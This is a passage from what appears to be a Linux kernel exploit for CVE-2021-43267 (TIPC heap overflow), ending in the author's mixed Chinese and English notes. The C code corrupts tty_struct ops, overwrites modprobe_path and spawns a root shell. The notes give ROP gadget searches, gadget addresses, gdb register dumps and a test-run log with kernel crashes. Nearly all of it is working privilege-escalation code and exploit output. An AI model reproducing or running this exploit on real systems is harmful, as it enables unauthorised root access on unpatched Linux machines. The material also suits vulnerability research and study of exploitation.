if(msgrcv(queue_id_final, (void*)&dummy, BODY_SIZE, MTYPE, 0) < 0) {
perror("msgrcv");
fatal("failed to receive message");
}
// 6-3-4. take up msg_msg, overflow and change tty_struct->ops 返回0表示篡改成功
tipc_trigger(fake_tty, 0x20, ++seqno);
// 6-3-5. change *modprobe_path = "/tmp/hax"
int r = 0;
r = ioctl(tty_fds[0], 0x706d742f, kernel_base + MODPROBE_PATH);
if (1) {
info("maybe I have some good news..");
r = ioctl(tty_fds[0], 0x7861682f, kernel_base + MODPROBE_PATH + 4);
hacked = 1;
break;
} else
close(tty_fds[0]);
}
if (!hacked)
fatal("hacking computer failed.");
// 7. 执行 /tmp/hax 触发modprobe并提权
info("triggering modprobe\n");
system("/tmp/benign");
sleep(1);
info("popping shell\n");
system("/tmp/sh");
for(int j = 0; j < SPRAY_TTY_CNT; j++)
close(tty_fds[j]);
return 0;
}
/*
(1) 找 write gadget
问题是都含有 pop rbp 或 shr rdx, 4
cat ./g1 | grep "xor eax, eax" | grep "mov dword ptr \[rdx\], rsi"
cat ./g1 | grep "mov dword ptr \[rdx\], rsi"
cat ./g1 | grep "xor eax, eax" | grep "mov dword ptr \[rdx +" | grep "], esi"
cat ./g1 | grep "xor eax, eax" | grep "mov dword ptr \[rdx +" | grep "], rsi"
cat ./g1 | grep "mov dword ptr \[rdx +" | grep "], rsi"
cat ./g1 | grep "mov dword ptr \[rdx +" | grep "], esi"
含 xor eax, eax 的都用不了
john@ubuntu:~/Desktop/tmp/CVE-2021-43267$ cat ./g1 | grep "xor eax, eax" | grep "mov dword ptr \[rdx +" | grep "], esi"
0xffffffff81bd7053: add byte ptr [rbp - 0x7576feb8], cl; mov eax, 0x48000000; mov dword ptr [rdx + rax*8 + 0xe0], esi; xor eax, eax; pop rbp; ret;
0xffffffff81bd7058: mov bh, byte ptr [rax + 0x48000000]; mov dword ptr [rdx + rax*8 + 0xe0], esi; xor eax, eax; pop rbp; ret;
0xffffffff81023744: mov dword ptr [rdx + 0x10], esi; mov qword ptr [rcx + rax*8], rdi; xor eax, eax; pop rbp; ret;
0xffffffff81bd705e: mov dword ptr [rdx + rax*8 + 0xe0], esi; xor eax, eax; pop rbp; ret;
0xffffffff814e724c: mov dword ptr [rdx + rax*8], esi; mov rbp, rsp; xor eax, eax; pop rbp; ret;
0xffffffff81bd7059: mov eax, 0x48000000; mov dword ptr [rdx + rax*8 + 0xe0], esi; xor eax, eax; pop rbp; ret;
0xffffffff81023742: mov ebp, esp; mov dword ptr [rdx + 0x10], esi; mov qword ptr [rcx + rax*8], rdi; xor eax, eax; pop rbp; ret;
0xffffffff81023741: mov rbp, rsp; mov dword ptr [rdx + 0x10], esi; mov qword ptr [rcx + rax*8], rdi; xor eax, eax; pop rbp; ret;
john@ubuntu:~/Desktop/tmp/CVE-2021-43267$ cat ./g1 | grep "xor eax, eax" | grep "mov dword ptr \[rdx +" | grep "], rsi"
0xffffffff81bd7054: lea ecx, [rax + 1]; mov dword ptr [rdx + 0xb8], ecx; mov qword ptr [rdx + rax*8 + 0xe0], rsi; xor eax, eax; pop rbp; ret;
0xffffffff81bd7057: mov dword ptr [rdx + 0xb8], ecx; mov qword ptr [rdx + rax*8 + 0xe0], rsi; xor eax, eax; pop rbp; ret;
不含 xor eax, eax 的gadget
gef➤ x /10i 0xffffffff810ef6f5
0xffffffff810ef6f5 <posix_cputimers_group_init+85>: mov QWORD PTR [rdx],rsi
0xffffffff810ef6f8 <posix_cputimers_group_init+88>: ret
0xffffffff81251de2: mov dword ptr [rdx + 0x100], esi; ret;
0xffffffff810488dc: mov dword ptr [rdx + 0x18], esi; ret;
0xffffffff81576ba1: mov dword ptr [rdx + 0x20], esi; ret;
0xffffffff8102edef: mov dword ptr [rdx + 0x90], esi; ret;
0xffffffff817240ea: mov dword ptr [rdx + 0xc], esi; ret;
0xffffffff81167a43: mov dword ptr [rdx + 4], esi; ret;
0xffffffff810f9302: mov dword ptr [rdx + 8], esi; ret;
original
$ objdump -D -j .text ./vmlinux_small \
| grep -C1 'mov %rsi,(%rdx)' \
| grep -B2 ret
ffffffff812c51f5: 31 c0 xor %eax,%eax
ffffffff812c51f7: 48 89 32 mov %rsi,(%rdx)
ffffffff812c51fa: c3 retq
gef➤ x /5i 0xffffffff812c51f5
0xffffffff812c51f5: xor eax,eax
0xffffffff812c51f7: mov QWORD PTR [rdx],rsi
0xffffffff812c51fa: ret
(2) 新的gadget
执行ioctl时的寄存器状态,观察可控的寄存器
Thread 3 hit Breakpoint 1, 0xffffffff810013e8 in calibrate_delay () at init/calibrate.c:315
315 calibration_delay_done();
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax : 0xffffffff810013e8 → 0xed3c7f2d8b4cc35f → 0xed3c7f2d8b4cc35f
$rbx : 0xffff88800526dd00 → 0x0000000000000000 → 0x0000000000000000
$rcx : 0x00000000706d742f → 0x00000000706d742f
$rdx : 0xffffffff8264eaa0 → 0x6f6d2f6e6962732f → 0x6f6d2f6e6962732f
$rsp : 0xffffc9000028fe60 → 0xffffffff81511767 → 0xef850ffffffdfd3d → 0xef850ffffffdfd3d
$rbp : 0xffff88800620a000 → 0x0000000100005401 → 0x0000000100005401
$rsi : 0x00000000706d742f → 0x00000000706d742f
$rdi : 0xffff88800620a000 → 0x0000000100005401 → 0x0000000100005401
$rip : 0xffffffff810013e8 → 0xed3c7f2d8b4cc35f → 0xed3c7f2d8b4cc35f
$r8 : 0xffffffff8264eaa0 → 0x6f6d2f6e6962732f → 0x6f6d2f6e6962732f
$r9 : 0x0000000000000000 → 0x0000000000000000
$r10 : 0xffffc9000028fee8 → 0x0000000000000044 → 0x0000000000000044
$r11 : 0x0000000000000074 → 0x0000000000000074
$r12 : 0x00000000706d742f → 0x00000000706d742f
$r13 : 0xffffffff8264eaa0 → 0x6f6d2f6e6962732f → 0x6f6d2f6e6962732f
$r14 : 0xffff88800526dd00 → 0x0000000000000000 → 0x0000000000000000
$r15 : 0xffff88800620a000 → 0x0000000100005401 → 0x0000000100005401
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0010 $ss: 0x0018 $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
gef➤ x /10xg 0xffff88800620a000 // tty_struct 结构
0xffff88800620a000: 0x0000000100005401 0x0000000000000000
0xffff88800620a010: 0xffff8880044f5840 0xffff888005135430
0xffff88800620a020: 0x0000000000000040 0x0000000000000000
0xffff88800620a030: 0x0000000000000000 0xffff88800620a038
0xffff88800620a040: 0xffff88800620a038 0xffff88800620a048
$rdi / $rbp / $r15 指向tty_struct结构, 可控, 搜关于这3个寄存器的ROP
(1-1) mov rsp, rdi/rbp/r15
(1-2) mov rsp, qword ptr [rdi/rbp/r15
cat ./g1 | grep "mov rsp, qword ptr \[rdi/rbp/r15"
(1-3) 找不到这三类gadget, 只能利用KEPLER中的 bridging_gadget, 但找不到 mov cr4, rdi ffffffff81702b00 T regcache_mark_dirty
void regcache_mark_dirty(struct regmap *map)
{
map->lock(map->lock_arg);
map->cache_dirty = true;
map->no_sync_defaults = true;
map->unlock(map->lock_arg);
}
EXPORT_SYMBOL_GPL(regcache_mark_dirty);
(1-4) push rdi/rbp/r15 pop rsp
cat ./g1 | grep "push rdi" | grep "pop rsp"
/exp $ ./exp
[$] enabling tipc udp media
[$] establish tipc link
[$] installing helpers
[$] create messages queues
[$] spray messages
[$] poking holes
[$] tipc bug trigger
[$] spraying tty_struct
[$] we corrupted a msg_msg size field! (took 1 peeks)
[$] found tty_struct at offset 0x3d8
[~] pty_ops : ffffffff8227e1c0
[~] our buffer : ffff8880050e9430
[~] kernel base : ffffffff81000000
[~] modprobe_path : ffffffff8264eaa0
[$] spray fake pty ops vtable
[$] attempting to corrupt tty_struct (try 0)
[ 5.968591] kernel tried to execute NX-protected page - exploit attempt? (ui)
[ 5.969427] BUG: unable to handle page fault for address: ffff8880038d4180
[ 5.969604] #PF: supervisor instruction fetch in kernel mode
[ 5.969737] #PF: error_code(0x0011) - permissions violation
[ 5.969982] PGD 3001067 P4D 3001067 PUD 3002067 PMD 80000000038000e3
[ 5.970245] Oops: 0011 [#1] SMP PTI
[ 5.970423] CPU: 3 PID: 108 Comm: exp Not tainted 5.14.15 #2
[ 5.970618] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.134
[ 5.971022] RIP: 0010:0xffff8880038d4180
[ 5.971413] Code: ff ff 10 42 8d 03 80 88 ff ff 60 41 8d 03 80 88 ff ff 60 48
[ 5.972688] RSP: 0018:ffffc90000177e70 EFLAGS: 00000286
[ 5.972954] RAX: ffffffff810013e8 RBX: ffff88800526c800 RCX: 00000000706d742f
[ 5.973303] RDX: ffffffff8264eaa0 RSI: 00000000706d742f RDI: ffffffff81511767
[ 5.973623] RBP: ffff888006202000 R08: ffffffff8264eaa0 R09: 0000000000000000
[ 5.973944] R10: ffffc90000177ee8 R11: 0000000000000074 R12: 00000000706d742f
[ 5.974246] R13: ffffffff8264eaa0 R14: ffff88800526c800 R15: ffff888006202000
[ 5.974653] FS: 0000000000f7c880(0000) GS:ffff88807d580000(0000) knlGS:00000
[ 5.975012] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 5.975240] CR2: ffff8880038d4180 CR3: 00000000035f0000 CR4: 00000000003006e0
[ 5.975622] Call Trace:
[ 5.977990] ? copy_compat_msqid_to_user+0x7b/0x120
[ 5.978193] ? __x64_sys_ioctl+0x7e/0xb0
[ 5.978259] ? do_syscall_64+0x3b/0xc0
[ 5.978313] ? entry_SYSCALL_64_after_hwframe+0x44/0xae
[ 5.978441] Modules linked in:
[ 5.978573] CR2: ffff8880038d4180
[ 5.978807] ---[ end trace f0070ca208322ce2 ]---
[ 5.979015] RIP: 0010:0xffff8880038d4180
[ 5.979091] Code: ff ff 10 42 8d 03 80 88 ff ff 60 41 8d 03 80 88 ff ff 60 48
[ 5.979447] RSP: 0018:ffffc90000177e70 EFLAGS: 00000286
[ 5.979654] RAX: ffffffff810013e8 RBX: ffff88800526c800 RCX: 00000000706d742f
[ 5.979813] RDX: ffffffff8264eaa0 RSI: 00000000706d742f RDI: ffffffff81511767
[ 5.980044] RBP: ffff888006202000 R08: ffffffff8264eaa0 R09: 0000000000000000
[ 5.980306] R10: ffffc90000177ee8 R11: 0000000000000074 R12: 00000000706d742f
[ 5.980586] R13: ffffffff8264eaa0 R14: ffff88800526c800 R15: ffff888006202000
[ 5.980832] FS: 0000000000f7c880(0000) GS:ffff88807d580000(0000) knlGS:00000
[ 5.981421] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 5.981664] CR2: ffff8880038d4180 CR3: 00000000035f0000 CR4: 00000000003006e0
[ 5.982654] pts ptm64: tty_release: tty->count(1) != (#fd's(2) + #kopen's(0))
[ 5.983357] BUG: kernel NULL pointer dereference, address: 0000000000000020
[ 5.983658] #PF: supervisor write access in kernel mode
[ 5.983884] #PF: error_code(0x0002) - not-present page
[ 5.984157] PGD 0 P4D 0
[ 5.984290] Oops: 0002 [#2] SMP PTI
[ 5.984448] CPU: 3 PID: 108 Comm: exp Tainted: G D 5.14.15 #2
[ 5.984778] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.134
[ 5.985287] RIP: 0010:esp_ssg_unref.isra.0+0x34/0x90
[ 5.985796] Code: ff 48 0f 48 d0 8b 41 f0 85 c0 74 11 8b 49 2c 83 c1 01 48 89
[ 5.986586] RSP: 0018:ffffc90000177e50 EFLAGS: 00000246
[ 5.986838] RAX: 0000000000000000 RBX: 00000000040e0003 RCX: ffff8880038d4180
[ 5.987147] RDX: 0000000000000000 RSI: ffff88800526c808 RDI: ffff888006202000
[ 5.987437] RBP: ffff888006202000 R08: 0000000000000000 R09: ffffc90000177c70
[ 5.987780] R10: 0000000000000001 R11: 0000000000000001 R12: 0000000000000000
[ 5.988144] R13: ffff88800526c800 R14: ffff8880038d4180 R15: 0000000000000000
[ 5.988377] FS: 0000000000000000(0000) GS:ffff88807d580000(0000) knlGS:00000
[ 5.988982] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 5.989189] CR2: 0000000000000020 CR3: 000000000260c000 CR4: 00000000003006e0
[ 5.989465] Call Trace:
[ 5.989755] esp_output_done+0x8e/0x180
[ 5.990000] ? tty_release+0xfb/0x410
[ 5.990148] ? __fput+0x87/0x230
[ 5.990315] ? task_work_run+0x5a/0x90
[ 5.990485] ? do_exit+0x355/0xaa0
[ 5.990669] ? __x64_sys_ioctl+0x7e/0xb0
[ 5.990827] ? rewind_stack_do_exit+0x17/0x20
[ 5.991015] Modules linked in:
[ 5.991176] CR2: 0000000000000020
[ 5.991349] ---[ end trace f0070ca208322ce3 ]---
[ 5.991565] RIP: 0010:0xffff8880038d4180
[ 5.991733] Code: ff ff 10 42 8d 03 80 88 ff ff 60 41 8d 03 80 88 ff ff 60 48
[ 5.992346] RSP: 0018:ffffc90000177e70 EFLAGS: 00000286
[ 5.992432] RAX: ffffffff810013e8 RBX: ffff88800526c800 RCX: 00000000706d742f
[ 5.992513] RDX: ffffffff8264eaa0 RSI: 00000000706d742f RDI: ffffffff81511767
[ 5.992603] RBP: ffff888006202000 R08: ffffffff8264eaa0 R09: 0000000000000000
[ 5.992699] R10: ffffc90000177ee8 R11: 0000000000000074 R12: 00000000706d742f
[ 5.992780] R13: ffffffff8264eaa0 R14: ffff88800526c800 R15: ffff888006202000
[ 5.992859] FS: 0000000000000000(0000) GS:ffff88807d580000(0000) knlGS:00000
[ 5.992948] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 5.993027] CR2: 0000000000000020 CR3: 000000000260c000 CR4: 00000000003006e0
[ 5.993157] Fixing recursive fault but reboot is needed!
[ 127.614322] clocksource: timekeeping watchdog on CPU2: Marking clocksource ':
[ 127.614781] clocksource: 'hpet' wd_nsec: 495418440 wd_f
[ 127.615296] clocksource: 'tsc' cs_nsec: 495675136 cs_nf
[ 127.615788] clocksource: 'tsc' is current clocksource.
[ 127.616139] tsc: Marking TSC unstable due to clocksource watchdog
[ 127.616467] TSC found unstable after boot, most likely due to broken BIOS. U.
[ 127.616860] sched_clock: Marking unstable (127602771691, 13648110)<-(1276531)
[ 127.618817] clocksource: Checking clocksource tsc synchronization from CPU 0.
[ 127.622059] clocksource: Switched to clocksource hpet
[ 204.935496] random: crng init done
*/